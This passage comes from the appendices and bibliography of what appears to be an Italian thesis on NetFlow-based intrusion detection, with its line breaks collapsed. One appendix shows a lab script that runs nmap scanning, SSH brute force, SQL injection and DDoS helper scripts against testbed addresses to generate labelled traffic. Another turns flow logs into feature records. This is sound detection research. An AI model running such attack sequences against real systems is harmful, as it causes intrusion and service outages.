  • 56. B.5 Traffico Realistico 49echo " "timeout=20nmapAttack=./nmap_scan.shsshBrute=./ssh_brute.shsqliAttack=./sqli_rush.shddosAttack=./ddos.shwtGen=./web_traffic_generatorecho " Starting Neutral traffic.."$wtGen 10.255.111.2 98 traffic_spec_new 10.255.101.1 eth1.111 >> /dev/null &echo " waiting 5 mins cause wtgen is reading cfg"sleep 350echo " Traffic generation started"sleep $timeoutecho " Starting nmap scan"$nmapAttack 25echo " End of nmap scan"sleep $timeoutecho " Start SBF"$sshBrute 10.255.101.1 pwd_list 50echo " End of SSH Brute "sleep $timeoutecho " Start SQLi"$sqliAttackecho " End of SQLI"sleep $timeoutecho " Start DDoS"$ddosAttack 10.255.111.100 100 10.255.101.1 eth1.111 5000echo " End DDoS "sleep $timeout#Killallps -A | grep "$wtGen" | kill -9 ‘awk ’{print $1}’‘exit 0
  • 57. 50 B Seconda Appendice
  • 58. Appendice CScript Processamento Dati#!/bin/bashprintEntryDataTypes(){echo "*** INFO ***"echo "1 Timestamp"echo "2 Flows"echo "3 Bytes"echo "4 Packets"echo "5 Byte per Second (AVG)"echo "6 Packet per Second (AVG)"echo "7 Byte per Packet (AVG)"echo "8 Client IP #1"echo "9 Client IP #2"echo "10 Client IP #3"echo "11 nSYN Client IP #1"echo "12 nSYN Client IP #2"echo "13 nSYN Client IP #3"echo "14 nRES Client IP #1"echo "15 nRES Client IP #2"echo "16 nRES Client IP #3"echo "17 nACK Client IP #1"echo "18 nACK Client IP #2"echo "19 nACK Client IP #3"echo "20 nSYNACK Client IP #1"echo "21 nSYNACK Client IP #2"echo "22 nSYNACK Client IP #3"echo "23 nICMP Client IP #1"echo "24 nICMP Client IP #2"echo "25 nICMP Client IP #3"echo "26 Server IP #1"echo "27 First common port on Server IP #1"echo "28 Second common port on Server IP #1"echo "29 Third common port on Server IP #1"}createEntry () {if [ $# -ne 4 ]thenecho "***"echo "Create SNMP-like record from NF-Log file"echo "Usage: $0 <nf-log.csv> <beginSectionLine> <endSecionLine> <tempfile>"echo "***" 51
  • 59. 52 C Terza Appendice return 0 fi csvfile=$1 from=‘expr $2 - 1‘ to=‘expr $3 - 1 ‘ tempfile=$4 #Extract section cat $csvfile | head -$to | tail -‘expr $to - $from ‘ > $tempfile # Now in $tempfile you have the section you want to analyze entry[0]=‘cat $tempfile| grep Captured@ | cut -d@ -f2 | sed ’s/,//g’‘ # Timestamp if [ ‘expr $to - $from ‘ -le 5 ] then #Speedup computation, this is a void section for (( i = 1 ; i < 29 ; i++ )) do entry[$i]=0 done SAVE_IFS=$IFS IFS="," csvRow="${entry[*]}" IFS=$SAVE_IFS echo $csvRow return 0 fi # Retrive summaries entry[1]=‘cat $tempfile | tail -1 | cut -d, -f1‘ # Flows entry[2]=‘cat $tempfile | tail -1 | cut -d, -f2‘ # Bytes entry[3]=‘cat $tempfile | tail -1 | cut -d, -f3‘ # Packets entry[4]=‘cat $tempfile | tail -1 | cut -d, -f4‘ # bps entry[5]=‘cat $tempfile | tail -1 | cut -d, -f5‘ # pps entry[6]=‘cat $tempfile | tail -1 | cut -d, -f6‘ # bpp # Extract Client IP Addresses and select the 3 most common Client IP Addresses indexIp1=7 indexIp2=8 indexIp3=9 entry[7]=‘cat $tempfile | cut -d, -f4 | uniq -c | sort -nr | egrep -e ’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -1 | tail -1‘ entry[8]=‘cat $tempfile | cut -d, -f4 | uniq -c | sort -nr | egrep -e ’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -2 | tail -1‘ entry[9]=‘cat $tempfile | cut -d, -f4 | uniq -c | sort -nr | egrep -e ’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -3 | tail -1‘ # Calculate nSIN, nRES, nACK, nSYN-ACK, nICMP for each Client IP entry[10]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep S | wc -l‘ # nSYN Client IP 1 entry[11]=‘cat $tempfile | grep "${entry[$indexIp2]}" | cut -d, -f9 | grep S | wc -l‘ # nSYN Client IP 2 entry[12]=‘cat $tempfile | grep "${entry[$indexIp3]}" | cut -d, -f9 | grep S | wc -l‘ # nSYN Client IP 3 entry[13]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep R | wc -l‘ # nRES Client IP 1
  • 60. C Script Processamento Dati 53entry[14]=‘cat $tempfile | grep "${entry[$indexIp2]}" | cut -d, -f9 | grep R |wc -l‘ # nRES Client IP 2entry[15]=‘cat $tempfile | grep "${entry[$indexIp3]}" | cut -d, -f9 | grep R |wc -l‘ # nRES Client IP 3entry[16]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep A |wc -l‘ # nACK Client IP 1entry[17]=‘cat $tempfile | grep "${entry[$indexIp2]}" | cut -d, -f9 | grep A |wc -l‘ # nACK Client IP 2entry[18]=‘cat $tempfile | grep "${entry[$indexIp3]}" | cut -d, -f9 | grep A |wc -l‘ # nACK Client IP 3entry[19]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep S |grep A | wc -l‘ # nSYNACK Client IP 1entry[20]=‘cat $tempfile | grep "${entry[$indexIp2]}" | cut -d, -f9 | grep S |grep A | wc -l‘ # nSYNACK Client IP 2entry[21]=‘cat $tempfile | grep "${entry[$indexIp3]}" | cut -d, -f9 | grep S |grep A | wc -l‘ # nSYNACK Client IP 3entry[22]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f8 |grep ICMP | wc -l‘ # nICMP Client IP 1entry[23]=‘cat $tempfile | grep "${entry[$indexIp2]}" | cut -d, -f8 |grep ICMP | wc -l‘ # nICMP Client IP 2entry[24]=‘cat $tempfile | grep "${entry[$indexIp3]}" | cut -d, -f8 |grep ICMP | wc -l‘ # nICMP Client IP 3# Calculate most commonn server addressindexSrvIp1=25entry[25]=‘cat $tempfile | cut -d, -f5 | uniq -c | sort -nr | egrep -e’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -1| tail -1‘#entry[23]=‘cat $tempfile | cut -d, -f5 | uniq -c | sort -nr | egrep -e’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -2| tail -1‘#entry[24]=‘cat $tempfile | cut -d, -f5 | uniq -c | sort -nr | egrep -e’[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}’ | awk ’{print $2}’ | head -3| tail -1‘# Select the most 3 common Server Portentry[26]=‘cat $tempfile | grep "${entry[$indexSrvIp1]}" | cut -d, -f7 |uniq -c | sort -nr | egrep -e ’[0-9]{1,6}’ | awk ’{print $2}’ | head -1 |tail -1‘ # port server IP 1entry[27]=‘cat $tempfile | grep "${entry[$indexSrvIp1]}" | cut -d, -f7 |uniq -c | sort -nr | egrep -e ’[0-9]{1,6}’ | awk ’{print $2}’ | head -2 |tail -1‘ # port server IP 1entry[28]=‘cat $tempfile | grep "${entry[$indexSrvIp1]}" | cut -d, -f7 |uniq -c | sort -nr | egrep -e ’[0-9]{1,6}’ | awk ’{print $2}’ | head -3 |tail -1‘ # port server IP 1SAVE_IFS=$IFSIFS=","csvRow="${entry[*]}"IFS=$SAVE_IFSecho $csvRowreturn 0 }# ----------------# MAIN STARTS HERE# ----------------infocmd="--info"
  • 61. 54 C Terza Appendice if [ $# -ne 1 ] then echo "***" echo "Create SNMP-like record from NF-Log file" echo "Usage: $0 <file.csv> " echo "Print on screen the current entrty format" echo "Usage: $0 $infocmd" echo "***" exit 0 fi if [ $1 = $infocmd ] then printEntryDataTypes exit 0 fi infile=$1 tempfile="$1.temp" # # Find Sections # cat $infile | grep -n Captured@ | cut -d: -f1 > $tempfile echo ‘cat $infile | wc -l‘ >> $tempfile total=‘cat $tempfile | wc -l‘ i1=1 i2=1 declare -a sessionBoundsBegin declare -a sessionBoundsEnd while [ $i2 -lt $total ] do SessionBoundsBegin[$i1]=‘cat $tempfile | head -$i2 | tail -1‘ i2=‘expr 1 + $i2‘ SessionBoundsEnd[$i1]=‘cat $tempfile | head -$i2 | tail -1‘ i1=‘expr 1 + $i1‘ done # Now sessionBouns contains the lines number that you # can use for isolating single sessions counter=0 while [ $counter -lt $i1 ] do createEntry $infile ${SessionBoundsBegin[$counter]} ${SessionBoundsEnd[$counter]} $tempfile counter=‘expr $counter + 1‘ done rm $tempfile
  • 62. Bibliografia[1] Wang Zhenqi,Wang Xinyu NetFlow Based Intrusion Detection Sys- tem. 2008 International Conference on MultiMedia and Information Technology.[2] Thomas Dubendorfer,Arno Wagnert, Bernhard Plattner A Framework for Real-Time Worm Attack Detection and Backbone Monitoring. Swiss Federal Institute of Technology, ETH-Zentrum, CH-8092 Zurich.[3] Herve Debar, Marc Dacier, Andreas Wespi Towards a taxonomy of intrusion-detection systems. Computer Networks 31 (1999) 805–822.[4] Phrack 56 0x11, Sasha/Beetle A strict anomaly detection model for IDS. http://artofhacking.com/files/phrack/phrack56/P56-11.TXT[5] Walter Cerroni, Gabriele Monti, Gianluca Moro, and Marco Ramilli Network Attack Detection Based on Peer-to-Peer Clustering of SNMP Data. 6th International ICST Conference on Heterogeneous Network- ing for Quality, Reliability, Security and Robustness (QShine2009), Las Palmas de Gran Canaria, Spain, November 2009.[6] Walter Cerroni et al Network-based Attack Detection through SNMP Da- ta Mining: A Testing Methodology. DEIS – University of Bologna, v. Venezia 52, 47521 Cesena (FC), Italy.[7] Marco Migliarini, Walter Cerroni Rilevazione di attacchi di rete tramite tecniche di datamining su traffico SNMP. Seconda Facolt` di ingegneria a con sede a Cesena, Corso di Laurea in Ingegneria Informatica.[8] Harri Valpola Bayesian Ensemble Learning for Nonlinear Factor Anal- ysis Helsinki University of Technology, Neural Networks Research Centre.[9] Tan, Pang-Ning; Michael, Steinbach; Kumar, Vipin Introduction to Da- ta Mining Addison-Wesley. ISBN 0321321367. http://www-users.cs.umn. edu/∼kumar/dmbook/index.php 55
  • 63. 56 BIBLIOGRAFIA [10] http://www.ietf.org/rfc/rfc3954.txt [11] http://www.cisco.com/en/US/technologies/tk648/tk362/technologies white paper09186a00800a3db9 ps6601 Products White Paper.html [12] http://www.cisco.com/en/US/prod/collateral/iosswrel/ps6537/ps6555/ ps6601/prod white paper0900aecd80406232.html [13] http://nmap.org/book/man.html [14] http://nmap.org/man/it/man-bypass-firewalls-ids.html [15] http://sqlmap.sourceforge.net/doc/README.html [16] http://thc.org/thc-hydra/README [17] http://nmap.org/ncrack/ [18] http://cwe.mitre.org/top25/index.html [19] http://www.troyhunt.com/2011/07/science-of-password-selection.html [20] http://www.social-engineer.org/framework/Computer Based Social Engineering Tools: Common User Passwords Profiler %28CUPP%29 [21] http://sourceforge.net/projects/loic/ [22] http://en.wikipedia.org/wiki/Denial-of-service attack# Degradation-of-service attacks [23] http://nfdump.sourceforge.net/ [24] http://www.caida.org/data/overview